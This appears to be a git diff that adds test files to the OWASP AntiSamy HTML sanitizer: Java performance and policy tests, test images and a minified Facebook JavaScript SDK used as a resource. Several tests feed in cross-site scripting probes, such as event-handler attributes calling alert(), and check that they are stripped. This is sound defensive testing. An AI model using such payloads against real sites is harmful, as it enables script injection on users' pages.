+ totalSaxTime += as.scan(html, policy, AntiSamy.SAX).getScanTime();
+ }
+
+ System.out.println("Total DOM time short string: " + totalDomTime);
+ System.out.println("Total SAX time short string: " + totalSaxTime);
+ }
+
+ @Test
+ public void profileDom() throws IOException, ScanException, PolicyException {
+ runProfiledTest(AntiSamy.DOM);
+ }
+
+ @Test
+ public void profileSax() throws IOException, ScanException, PolicyException {
+ runProfiledTest(AntiSamy.SAX);
+ }
+
+ private void runProfiledTest(int scanType) throws ScanException, PolicyException {
+ double totalDomTime;
+
+ warmup(scanType);
+
+ int testReps = 9999;
+
+ String html = "<body> hey you <img/> out there on your own </body>";
+
+ Double each = 0D;
+ int repeats = 10;
+ for (int i = 0; i < repeats; i++) {
+ totalDomTime = 0;
+ for (int j = 0; j < testReps; j++) {
+ totalDomTime += as.scan(html, policy, scanType).getScanTime();
+ }
+ each = each + totalDomTime;
+ System.out.println("Total " + (scanType == AntiSamy.DOM ? "DOM" : "SAX") + " time 9999 reps short string: " + totalDomTime);
+ }
+ System.out.println("Average time: " + (each / repeats));
+ }
+
+ private void warmup(int scanType) throws ScanException, PolicyException {
+ int warmupReps = 15000;
+
+ String html = "<body> hey you <img/> out there on your own </body>";
+
+ for (int j = 0; j < warmupReps; j++) {
+ as.scan(html, policy, scanType).getScanTime();
+ }
+ }
+
+ @Test
+ public void comparePatternSpeed() throws IOException, ScanException, PolicyException {
+
+ final Pattern invalidXmlCharacters =
+ Pattern.compile("[\\u0000-\\u001F\\uD800-\\uDFFF\\uFFFE-\\uFFFF&&[^\\u0009\\u000A\\u000D]]");
+
+ int testReps = 10000;
+
+ String html = "<body> hey you <img/> out there on your own </body>";
+
+ String s = null;
+ long start = System.currentTimeMillis();
+ for (int j = 0; j < testReps; j++) {
+ s = invalidXmlCharacters.matcher(html).replaceAll("");
+ }
+ long total = System.currentTimeMillis() - start;
+
+ start = System.currentTimeMillis();
+ Matcher matcher;
+ for (int j = 0; j < testReps; j++) {
+ matcher = invalidXmlCharacters.matcher(html);
+ if (matcher.matches()) {
+ s = matcher.replaceAll("");
+ }
+ }
+ long total2 = System.currentTimeMillis() - start;
+
+ assertNotNull(s);
+ System.out.println("replaceAllDirect " + total);
+ System.out.println("match then replace: " + total2);
+ }
+
+ @Test
+ public void issue147() throws ScanException, PolicyException {
+ URL url = getClass().getResource("/antisamy-tinymce.xml");
+
+ Policy pol = Policy.getInstance(url);
+ as.scan("<table><tr><td></td></tr></table>", pol, AntiSamy.DOM);
+ }
+
+ @Test
+ public void issue75() throws ScanException, PolicyException {
+ URL url = getClass().getResource("/antisamy-tinymce.xml");
+ Policy pol = Policy.getInstance(url);
+ as.scan("<script src=\"<. \">\"></script>", pol, AntiSamy.DOM);
+ as.scan("<script src=\"<. \">\"></script>", pol, AntiSamy.SAX);
+ }
+
+
+ @Test
+ public void issue144() throws ScanException, PolicyException {
+ String pinata = "pi\u00f1ata";
+ System.out.println(pinata);
+ CleanResults results = as.scan(pinata, policy, AntiSamy.DOM);
+ String cleanHTML = results.getCleanHTML();
+ assertEquals(pinata, cleanHTML);
+ }
+
+ @Test
+ public void testWhitespaceNotBeingMangled() throws ScanException, PolicyException {
+ String test = "<select name=\"name\"><option value=\"Something\">Something</select>";
+ String expected = "<select name=\"name\"><option value=\"Something\">Something</option></select>";
+ Policy preserveSpace = policy.cloneWithDirective( Policy.PRESERVE_SPACE, "true" );
+ CleanResults preserveSpaceResults = as.scan(test, preserveSpace, AntiSamy.SAX);
+ assertEquals( expected, preserveSpaceResults.getCleanHTML() );
+ }
+
+ @Test
+ public void testXSSInAntiSamy151() throws ScanException, PolicyException {
+ String test = "<bogus>whatever</bogus><img src=\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\" "
+ + "onmouseover=\"alert('xss')\">";
+ CleanResults results_sax = as.scan(test, policy, AntiSamy.SAX);
+
+
+ CleanResults results_dom = as.scan(test, policy, AntiSamy.DOM);
+
+
+ assertEquals( results_sax.getCleanHTML(), results_dom.getCleanHTML());
+ assertEquals("whatever<img src=\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\" />", results_dom.getCleanHTML());
+ }
+
+ @Test
+ public void testAnotherXSS() throws ScanException, PolicyException {
+ String test = "<a href=\"http://example.com\"&/onclick=alert(9)>foo</a>";
+ CleanResults results_sax = as.scan(test, policy, AntiSamy.SAX);
+
+
+ CleanResults results_dom = as.scan(test, policy, AntiSamy.DOM);
+
+ assertEquals( results_sax.getCleanHTML(), results_dom.getCleanHTML());
+ assertEquals("<a href=\"http://example.com\" rel=\"nofollow\">foo</a>", results_dom.getCleanHTML());
+ }
+
+
+}
diff --git a/src/test/java/org/owasp/validator/html/test/LiteralTest.java b/src/test/java/org/owasp/validator/html/test/LiteralTest.java
new file mode 100644
index 0000000..4dfe274
--- /dev/null
+++ b/src/test/java/org/owasp/validator/html/test/LiteralTest.java
@@ -0,0 +1,102 @@
+package org.owasp.validator.html.test;
+
+import java.net.URL;
+import java.util.Iterator;
+
+import org.owasp.validator.html.AntiSamy;
+import org.owasp.validator.html.CleanResults;
+import org.owasp.validator.html.Policy;
+
+import junit.framework.TestCase;
+
+/**
+ * Test that literal values for HTML attributes are honored correctly.
+ *
+ * @author August Detlefsen
+ */
+public class LiteralTest extends TestCase {
+
+ private Policy policy = null;
+
+ protected void setUp() throws Exception {
+
+ /*
+ * Load the policy. You may have to change the path to find the Policy
+ * file for your environment.
+ */
+ //get Policy instance from a URL.
+ URL url = getClass().getResource("/antisamy.xml");
+ System.out.println("Loading policy from URL: " + url);
+ policy = Policy.getInstance(url);
+ }
+
+
+ private URL getResource(String res) {
+ URL url = this.getClass().getResource(res);
+ System.out.println("Policy URL: " + url);
+ return url;
+ }
+
+ public void testSAXGoodResult() throws Exception {
+ System.out.println("Policy: " + policy);
+
+ // good
+ String html = "<div align=\"right\">html</div>";
+
+ CleanResults cleanResults = new AntiSamy(policy).scan(html, AntiSamy.SAX);
+ System.out.println("SAX cleanResults: " + cleanResults.getCleanHTML());
+ System.out.println("SAX cleanResults error messages: " + cleanResults.getErrorMessages().size());
+
+ for (String msg : cleanResults.getErrorMessages()) {
+ System.out.println("error msg: " + msg);
+ }
+
+ assertTrue(cleanResults.getErrorMessages().isEmpty());
+ }
+
+ public void testSAXBadResult() throws Exception {
+ System.out.println("Policy: " + policy);
+
+ // AntiSamy should complain about the attribute value "foo" ... but it is not
+ String badHtml = "<div align=\"foo\">badhtml</div>";
+
+ CleanResults cleanResults2 = new AntiSamy(policy).scan(badHtml, AntiSamy.SAX);
+
+ System.out.println("SAX cleanResults2: " + cleanResults2.getCleanHTML());
+ System.out.println("SAX cleanResults2 error messages: " + cleanResults2.getErrorMessages().size());
+ for (String msg : cleanResults2.getErrorMessages()) {
+ System.out.println("error msg: " + msg);
+ }
+ assertTrue(cleanResults2.getErrorMessages().size() > 0);
+ }
+
+ public void testDOMGoodResult() throws Exception {
+ System.out.println("Policy: " + policy);
+
+ // good
+ String html = "<div align=\"right\">html</div>";
+
+ CleanResults cleanResults = new AntiSamy(policy).scan(html, AntiSamy.DOM);
+ System.out.println("DOM cleanResults error messages: " + cleanResults.getErrorMessages().size());
+ for (String msg : cleanResults.getErrorMessages()) {
+ System.out.println("error msg: " + msg);
+ }
+
+ assertTrue(cleanResults.getErrorMessages().isEmpty());
+ }
+
+ public void testDOMBadResult() throws Exception {
+ System.out.println("Policy: " + policy);
+
+ // AntiSamy should complain about the attribute value "foo" ... but it is not
+ String badHtml = "<div align=\"foo\">badhtml</div>";
+
+ CleanResults cleanResults2 = new AntiSamy(policy).scan(badHtml, AntiSamy.DOM);
+
+ System.out.println("DOM cleanResults2 error messages: " + cleanResults2.getErrorMessages().size());
+ for (String msg : cleanResults2.getErrorMessages()) {
+ System.out.println("error msg: " + msg);
+ }
+ assertTrue(cleanResults2.getErrorMessages().size() > 0);
+ }
+}
diff --git a/src/test/java/org/owasp/validator/html/test/PolicyTest.java b/src/test/java/org/owasp/validator/html/test/PolicyTest.java
new file mode 100644
index 0000000..5697566
--- /dev/null
+++ b/src/test/java/org/owasp/validator/html/test/PolicyTest.java
@@ -0,0 +1,89 @@
+package org.owasp.validator.html.test;
+
+
+import junit.framework.TestCase;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.PolicyException;
+import org.owasp.validator.html.TagMatcher;
+import org.owasp.validator.html.scan.Constants;
+
+import java.io.ByteArrayInputStream;
+
+
+/**
+ * This class tests the Policy functionality to show that we can successfully parse the policy file.
+ *
+ * @author Jacob Coulter & Mark Oberhaus
+ */
+
+ at SuppressWarnings("deprecation")
+public class PolicyTest extends TestCase {
+
+ private Policy policy;
+
+ private static final String HEADER = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?>\n" +
+ "<anti-samy-rules xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" " +
+ "xsi:noNamespaceSchemaLocation=\"antisamy.xsd\">\n";
+ private static final String DIRECTIVES = "<directives>\n</directives>\n";
+ private static final String COMMON_ATTRIBUTES = "<common-attributes>\n</common-attributes>\n";
+ private static final String GLOBAL_TAG_ATTRIBUTES = "<global-tag-attributes>\n</global-tag-attributes>\n";
+ private static final String TAG_RULES = "<tag-rules>\n</tag-rules>";
+ private static final String CSS_RULES = "<css-rules>\n</css-rules>\n";
+ private static final String COMMON_REGEXPS = "<common-regexps>\n</common-regexps>";
+ private static final String FOOTER = "</anti-samy-rules>";
+
+ private String assembleFile(String allowedEmptyTagsSection) {
+ return HEADER + DIRECTIVES + COMMON_REGEXPS + COMMON_ATTRIBUTES + GLOBAL_TAG_ATTRIBUTES + TAG_RULES + CSS_RULES +
+ allowedEmptyTagsSection + FOOTER;
+ }
+
+ public void testGetAllowedEmptyTags() throws PolicyException {
+ String allowedEmptyTagsSection = "<allowed-empty-tags>\n" +
+ " <literal-list>\n" +
+ " <literal value=\"td\"/>\n" +
+ " <literal value=\"span\"/>\n" +
+ " </literal-list>\n" +
+ "</allowed-empty-tags>\n";
+ String policyFile = assembleFile(allowedEmptyTagsSection);
+
+ policy = Policy.getInstance(new ByteArrayInputStream(policyFile.getBytes()));
+
+
+ TagMatcher actualTags = policy.getAllowedEmptyTags();
+
+ assertTrue(actualTags.matches("td"));
+ assertTrue(actualTags.matches("span"));
+ }
+
+ public void testGetAllowedEmptyTags_emptyList() throws PolicyException {
+ String allowedEmptyTagsSection = "<allowed-empty-tags>\n" +
+ " <literal-list>\n" +
+ " </literal-list>\n" +
+ "</allowed-empty-tags>\n";
+ String policyFile = assembleFile(allowedEmptyTagsSection);
+
+ policy = Policy.getInstance(new ByteArrayInputStream(policyFile.getBytes()));
+
+ assertEquals(0, policy.getAllowedEmptyTags().size());
+ }
+
+ public void testGetAllowedEmptyTags_emptySection() throws PolicyException {
+ String allowedEmptyTagsSection = "<allowed-empty-tags>\n" +
+ "</allowed-empty-tags>\n";
+ String policyFile = assembleFile(allowedEmptyTagsSection);
+
+ policy = Policy.getInstance(new ByteArrayInputStream(policyFile.getBytes()));
+
+ assertEquals(0, policy.getAllowedEmptyTags().size());
+ }
+
+ public void testGetAllowedEmptyTags_NoSection() throws PolicyException {
+ String allowedEmptyTagsSection = "";
+
+ String policyFile = assembleFile(allowedEmptyTagsSection);
+
+ policy = Policy.getInstance(new ByteArrayInputStream(policyFile.getBytes()));
+
+ assertTrue(policy.getAllowedEmptyTags().size() == Constants.defaultAllowedEmptyTags.size());
+ }
+}
diff --git a/src/test/java/org/owasp/validator/html/test/TestPolicy.java b/src/test/java/org/owasp/validator/html/test/TestPolicy.java
new file mode 100644
index 0000000..c9186e7
--- /dev/null
+++ b/src/test/java/org/owasp/validator/html/test/TestPolicy.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2013, Kristian Rosenvold
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.test;
+
+import org.owasp.validator.html.InternalPolicy;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.PolicyException;
+import org.owasp.validator.html.model.Tag;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.xml.sax.SAXException;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URI;
+import java.net.URL;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author Kristian Rosenvold
+ */
+public class TestPolicy extends InternalPolicy {
+
+ protected TestPolicy(URL baseUrl, Policy.ParseContext parseContext) throws PolicyException {
+ super(baseUrl, parseContext);
+ }
+
+ protected TestPolicy(Policy old, Map<String, String> directives, Map<String, Tag> tagRules) {
+ super(old, directives, tagRules);
+ }
+
+ public static TestPolicy getInstance() throws PolicyException {
+ return getInstance(DEFAULT_POLICY_URI);
+ }
+
+ public static TestPolicy getInstance(String filename) throws PolicyException {
+ File file = new File(filename);
+ return getInstance(file);
+ }
+
+ public static TestPolicy getInstance(File file) throws PolicyException {
+ try {
+ URI uri = file.toURI();
+ return getInstance(uri.toURL());
+ } catch (IOException e) {
+ throw new PolicyException(e);
+ }
+ }
+
+ public static TestPolicy getInstance(URL url) throws PolicyException {
+ return new TestPolicy(url, getParseContext(getTopLevelElement(url), url));
+ }
+
+ public TestPolicy cloneWithDirective(String name, String value) {
+ Map<String, String> directives = new HashMap<String, String>(this.directives);
+ directives.put(name, value);
+ return new TestPolicy(this, Collections.unmodifiableMap(directives), tagRules);
+ }
+
+ public TestPolicy addTagRule(Tag tag) {
+ Map<String, Tag> newTagRules = new HashMap<String, Tag>(tagRules);
+ newTagRules.put(tag.getName().toLowerCase(), tag);
+ return new TestPolicy(this, this.directives, newTagRules);
+
+ }
+
+ public TestPolicy mutateTag(Tag tag) {
+ Map<String, Tag> newRUles = new HashMap<String, Tag>(this.tagRules);
+ newRUles.put( tag.getName().toLowerCase(), tag);
+ return new TestPolicy(this, this.directives, newRUles);
+ }
+
+}
diff --git a/src/test/resources/s/Filer_for_fark/3newsnewzealand.jpg b/src/test/resources/s/Filer_for_fark/3newsnewzealand.jpg
new file mode 100644
index 0000000..9aad52f
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/3newsnewzealand.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/939litefm.png b/src/test/resources/s/Filer_for_fark/939litefm.png
new file mode 100644
index 0000000..e938d2e
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/939litefm.png differ
diff --git a/src/test/resources/s/Filer_for_fark/FXN_77x27_1.gif b/src/test/resources/s/Filer_for_fark/FXN_77x27_1.gif
new file mode 100644
index 0000000..e69e102
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/FXN_77x27_1.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/Freeloader-Fork_10009-m.jpg b/src/test/resources/s/Filer_for_fark/Freeloader-Fork_10009-m.jpg
new file mode 100644
index 0000000..52ba436
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/Freeloader-Fork_10009-m.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/G4_logo.jpg b/src/test/resources/s/Filer_for_fark/G4_logo.jpg
new file mode 100644
index 0000000..25a991a
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/G4_logo.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/Peri-and-Sil-Doctor-Who-Action-Figure_7932-m.jpg b/src/test/resources/s/Filer_for_fark/Peri-and-Sil-Doctor-Who-Action-Figure_7932-m.jpg
new file mode 100644
index 0000000..8c2850d
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/Peri-and-Sil-Doctor-Who-Action-Figure_7932-m.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/Samurai-Umbrella_2648-m.jpg b/src/test/resources/s/Filer_for_fark/Samurai-Umbrella_2648-m.jpg
new file mode 100644
index 0000000..3ac6866
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/Samurai-Umbrella_2648-m.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/Vitruvian-Squirrel_16426-m.jpg b/src/test/resources/s/Filer_for_fark/Vitruvian-Squirrel_16426-m.jpg
new file mode 100644
index 0000000..054ea99
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/Vitruvian-Squirrel_16426-m.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/adall.png b/src/test/resources/s/Filer_for_fark/adall.png
new file mode 100644
index 0000000..8ed3d30
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/adall.png differ
diff --git a/src/test/resources/s/Filer_for_fark/adallnossl.png b/src/test/resources/s/Filer_for_fark/adallnossl.png
new file mode 100644
index 0000000..8ed3d30
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/adallnossl.png differ
diff --git a/src/test/resources/s/Filer_for_fark/adallpage.png b/src/test/resources/s/Filer_for_fark/adallpage.png
new file mode 100644
index 0000000..8ed3d30
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/adallpage.png differ
diff --git a/src/test/resources/s/Filer_for_fark/all.js b/src/test/resources/s/Filer_for_fark/all.js
new file mode 100644
index 0000000..98e0fd5
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/all.js
@@ -0,0 +1,153 @@
+/*1359096521,181986617,JIT Construction: v719720,en_US*/
+
+/**
+ * Copyright Facebook Inc.
+ *
+ * Licensed under the Apache License, Version 2.0
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+try {window.FB || (function(window) {
+var self = window, document = window.document;
+var setTimeout = window.setTimeout, setInterval = window.setInterval;var __DEV__ = 0;
+function emptyFunction() {};
+
+var require,__d;(function(a){var b={},c={},d=['global','require','requireDynamic','requireLazy','module','exports'];require=function(e,f){if(c.hasOwnProperty(e))return c[e];if(!b.hasOwnProperty(e)){if(f)return null;throw new Error('Module '+e+' has not been defined');}var g=b[e],h=g.deps,i=h.length,j,k=[];for(var l=0;l<i;l++){switch(h[l]){case 'module':j=g;break;case 'exports':j=g.exports;break;case 'global':j=a;break;case 'require':j=require;break;case 'requireDynamic':j=require;break;c [...]
+var ES5 = function(){
+__d("ES5ArrayPrototype",[],function(a,b,c,d,e,f){var g={};g.map=function(h,i){if(typeof h!='function')throw new TypeError();var j,k=this.length,l=new Array(k);for(j=0;j<k;++j)if(j in this)l[j]=h.call(i,this[j],j,this);return l;};g.forEach=function(h,i){g.map.call(this,h,i);};g.filter=function(h,i){if(typeof h!='function')throw new TypeError();var j,k,l=this.length,m=[];for(j=0;j<l;++j)if(j in this){k=this[j];if(h.call(i,k,j,this))m.push(k);}return m;};g.every=function(h,i){if(typeof h!=' [...]
+__d("ES5FunctionPrototype",[],function(a,b,c,d,e,f){var g={};g.bind=function(h){if(typeof this!='function')throw new TypeError('Bind must be called on a function');var i=this,j=Array.prototype.slice.call(arguments,1);function k(){return i.apply(h,j.concat(Array.prototype.slice.call(arguments)));}k.displayName='bound:'+(i.displayName||i.name||'(?)');k.toString=function l(){return 'bound: '+i;};return k;};e.exports=g;});
+__d("ES5StringPrototype",[],function(a,b,c,d,e,f){var g={};g.trim=function(){if(this==null)throw new TypeError('String.prototype.trim called on null or undefined');return String.prototype.replace.call(this,/^\s+|\s+$/g,'');};e.exports=g;});
+__d("ES5Array",[],function(a,b,c,d,e,f){var g={};g.isArray=function(h){return Object.prototype.toString.call(h)=='[object Array]';};e.exports=g;});
+__d("ES5Object",[],function(a,b,c,d,e,f){var g={};g.create=function(h){var i=typeof h;if(i!='object'&&i!='function')throw new TypeError('Object prototype may only be a Object or null');var j=new Function();j.prototype=h;return new j();};g.keys=function(h){var i=typeof h;if(i!='object'&&i!='function'||h===null)throw new TypeError('Object.keys called on non-object');var j=[];for(var k in h)if(Object.prototype.hasOwnProperty.call(h,k))j.push(k);var l=!({toString:true}).propertyIsEnumerable( [...]
+__d("ES5Date",[],function(a,b,c,d,e,f){var g={};g.now=function(){return new Date().getTime();};e.exports=g;});
+/**
+ * @providesModule JSON3
+ * @option preserve-header
+ *
+ *! JSON v3.2.3 | http://bestiejs.github.com/json3 | Copyright 2012, Kit Cambridge | http://kit.mit-license.org
+ */__d("JSON3",[],function(a,b,c,d,e,f){(function(){var g={}.toString,h,i,j,k=e.exports={},l='{"A":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}',m,n,o,p,q,r,s,t,u,v,w,x,y,z,aa,ba=new Date(-3509827334573292),ca,da,ea;try{ba=ba.getUTCFullYear()==-109252&&ba.getUTCMonth()===0&&ba.getUTCDate()==1&&ba.getUTCHours()==10&&ba.getUTCMinutes()==37&&ba.getUTCSeconds()==6&&ba.getUTCMilliseconds()==708;}catch(fa){}if(!ba){ca=Math.floor;da=[0,31,59,90,120,151,181,212,243,273,304,334];ea=function(ga,h [...]
+__d("ES5",["ES5ArrayPrototype","ES5FunctionPrototype","ES5StringPrototype","ES5Array","ES5Object","ES5Date","JSON3"],function(a,b,c,d,e,f){var g=b('ES5ArrayPrototype'),h=b('ES5FunctionPrototype'),i=b('ES5StringPrototype'),j=b('ES5Array'),k=b('ES5Object'),l=b('ES5Date'),m=b('JSON3'),n=Array.prototype.slice,o=Object.prototype.toString,p={'JSON.stringify':m.stringify,'JSON.parse':m.parse},q={array:g,'function':h,string:i,Object:k,Array:j,Date:l};for(var r in q){if(!q.hasOwnProperty(r))conti [...]
+return ES5.apply(null, arguments);
+};
+
+__d("sdk.RuntimeConfig",[],{"locale":"en_US","rtl":false});__d("UrlMapConfig",[],{"www":"www.facebook.com","m":"m.facebook.com","connect":"connect.facebook.net","api_https":"api.facebook.com","api_read_https":"api-read.facebook.com","graph_https":"graph.facebook.com","fbcdn_http":"fbstatic-a.akamaihd.net","fbcdn_https":"fbstatic-a.akamaihd.net","cdn_http":"static.ak.facebook.com","cdn_https":"s-static.ak.facebook.com"});__d("XDConfig",[],{"XdUrl":"connect\/xd_arbiter.php?version=18","Fla [...]
+__d("QueryString",[],function(a,b,c,d,e,f){function g(k){var l=[];ES5(ES5('Object','keys',false,k),'forEach',true,function(m){var n=k[m];if(typeof n==='undefined')return;if(n===null){l.push(m);return;}l.push(encodeURIComponent(m)+'='+encodeURIComponent(n));});return l.join('&');}function h(k,l){var m={};if(k==='')return m;var n=k.split('&');for(var o=0;o<n.length;o++){var p=n[o].split('=',2),q=decodeURIComponent(p[0]);if(l&&m.hasOwnProperty(q))throw new URIError('Duplicate key: '+q);m[q] [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("ManagedError",[],function(a,b,c,d,e,f){function g(h,i){Error.prototype.constructor.call(this,h);this.message=h;this.innerError=i;}g.prototype=new Error();g.prototype.constructor=g;e.exports=g;});
+__d("AssertionError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("sprintf",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);var j=0;return h.replace(/%s/g,function(k){return i[j++];});}e.exports=g;});
+__d("Assert",["AssertionError","sprintf"],function(a,b,c,d,e,f){var g=b('AssertionError'),h=b('sprintf');function i(n,o){if(!n)throw new g(o);return n;}function j(n,o,p){var q;if(o===undefined){q='undefined';}else if(o===null){q='null';}else{var r=Object.prototype.toString.call(o);q=/\s(\w*)/.exec(r)[1].toLowerCase();}i(ES5(n,'indexOf',true,q)!==-1,p||h('Expression is of type %s, not %s',q,n));return o;}function k(n,o,p){i(o instanceof n,p||'Expression not instance of type');return o;}fu [...]
+__d("Type",["copyProperties","Assert"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Assert');function i(){var m=this.__mixins;if(m)for(var n=0;n<m.length;n++)m[n].apply(this,arguments);}function j(m,n){if(n instanceof m)return true;if(n instanceof i)for(var o=0;o<n.__mixins.length;o++)if(n.__mixins[o]==m)return true;return false;}function k(m,n){var o=m.prototype;if(!ES5('Array','isArray',false,n))n=[n];for(var p=0;p<n.length;p++){var q=n[p];if(typeof q=='function'){o.__mixins.pu [...]
+__d("ObservableMixin",[],function(a,b,c,d,e,f){function g(){this.__observableEvents={};}g.prototype={inform:function(h){var i=Array.prototype.slice.call(arguments,1),j=Array.prototype.slice.call(this.getSubscribers(h));for(var k=0;k<j.length;k++){if(j[k]===null)continue;try{j[k].apply(this,i);}catch(l){setTimeout(function(){throw l;},0);}}return this;},getSubscribers:function(h){return this.__observableEvents[h]||(this.__observableEvents[h]=[]);},clearSubscribers:function(h){if(h)this.__ [...]
+__d("sdk.Model",["Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('Type'),h=b('ObservableMixin'),i=g.extend({constructor:function(j){this.parent();var k={},l=this;ES5(ES5('Object','keys',false,j),'forEach',true,function(m){k[m]=j[m];l['set'+m]=function(n){if(n===k[m])return this;k[m]=n;l.inform(m+'.change',n);return l;};l['get'+m]=function(){return k[m];};});}},h);e.exports=i;});
+__d("sdk.Runtime",["sdk.Model","copyProperties","sdk.RuntimeConfig"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=c('sdk.RuntimeConfig'),i=b('copyProperties'),j={UNKNOWN:0,PAGETAB:1,CANVAS:2,PLATFORM:4},k=new g({AccessToken:'',ClientID:'',Environment:j.UNKNOWN,Initialized:false,Locale:h.locale,LoginStatus:undefined,Rtl:h.rtl,Scope:undefined,Secure:undefined,UseCookie:false,UserID:''});i(k,{ENVIRONMENTS:j,isEnvironment:function(l){var m=this.getEnvironment();return (l|m)===m;}});(function [...]
+__d("sdk.Cookie",["QueryString","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('QueryString'),h=b('sdk.Runtime'),i=null;function j(m,n,o){m=m+h.getClientID();var p=i&&i!=='.';if(p){document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;';document.cookie=m+'=; expires=Wed, 04 Feb 2004 08:00:00 GMT;'+'domain='+location.hostname+';';}var q=new Date(o).toGMTString();document.cookie=m+'='+n+(n&&o===0?'':'; expires='+q)+'; path=/'+(p?'; domain='+i:'');}function k(m){m=m+h.getClientID();var [...]
+__d("guid",[],function(a,b,c,d,e,f){function g(){return 'f'+(Math.random()*(1<<30)).toString(16).replace('.','');}e.exports=g;});
+__d("hasNamePropertyBug",["guid"],function(a,b,c,d,e,f){var g=b('guid'),h;function i(){var k=document.createElement("form"),l=k.appendChild(document.createElement("input"));l.name=g();h=l!==k.elements[l.name];k=l=null;return h;}function j(){return typeof h==='undefined'?i():h;}e.exports=j;});
+__d("wrapFunction",[],function(a,b,c,d,e,f){var g={};function h(i,j,k){j=j||'default';return function(){var l=j in g?g[j](i,k):i;return l.apply(this,arguments);};}h.setWrapper=function(i,j){j=j||'default';g[j]=i;};e.exports=h;});
+__d("DOMEventListener",["wrapFunction"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h,i;if(window.addEventListener){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.addEventListener(l,m.wrapper,false);};i=function(k,l,m){k.removeEventListener(l,m.wrapper,false);};}else if(window.attachEvent){h=function(k,l,m){m.wrapper=g(m,'entry',k+':'+l);k.attachEvent('on'+l,m.wrapper);};i=function(k,l,m){k.detachEvent('on'+l,m.wrapper);};}var j={add:function(k,l,m){h(k,l,m);return {remove:function [...]
+__d("sdk.createIframe",["copyProperties","guid","hasNamePropertyBug","DOMEventListener"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('guid'),i=b('hasNamePropertyBug'),j=b('DOMEventListener');function k(l){l=g({},l);var m,n=l.name||h(),o=l.root,p=l.style||{border:'none'},q=l.url,r=l.onload;if(i()){m=document.createElement('<iframe name="'+n+'"/>');}else{m=document.createElement("iframe");m.name=n;}delete l.style;delete l.name;delete l.url;delete l.root;delete l.onload;var s=g({fra [...]
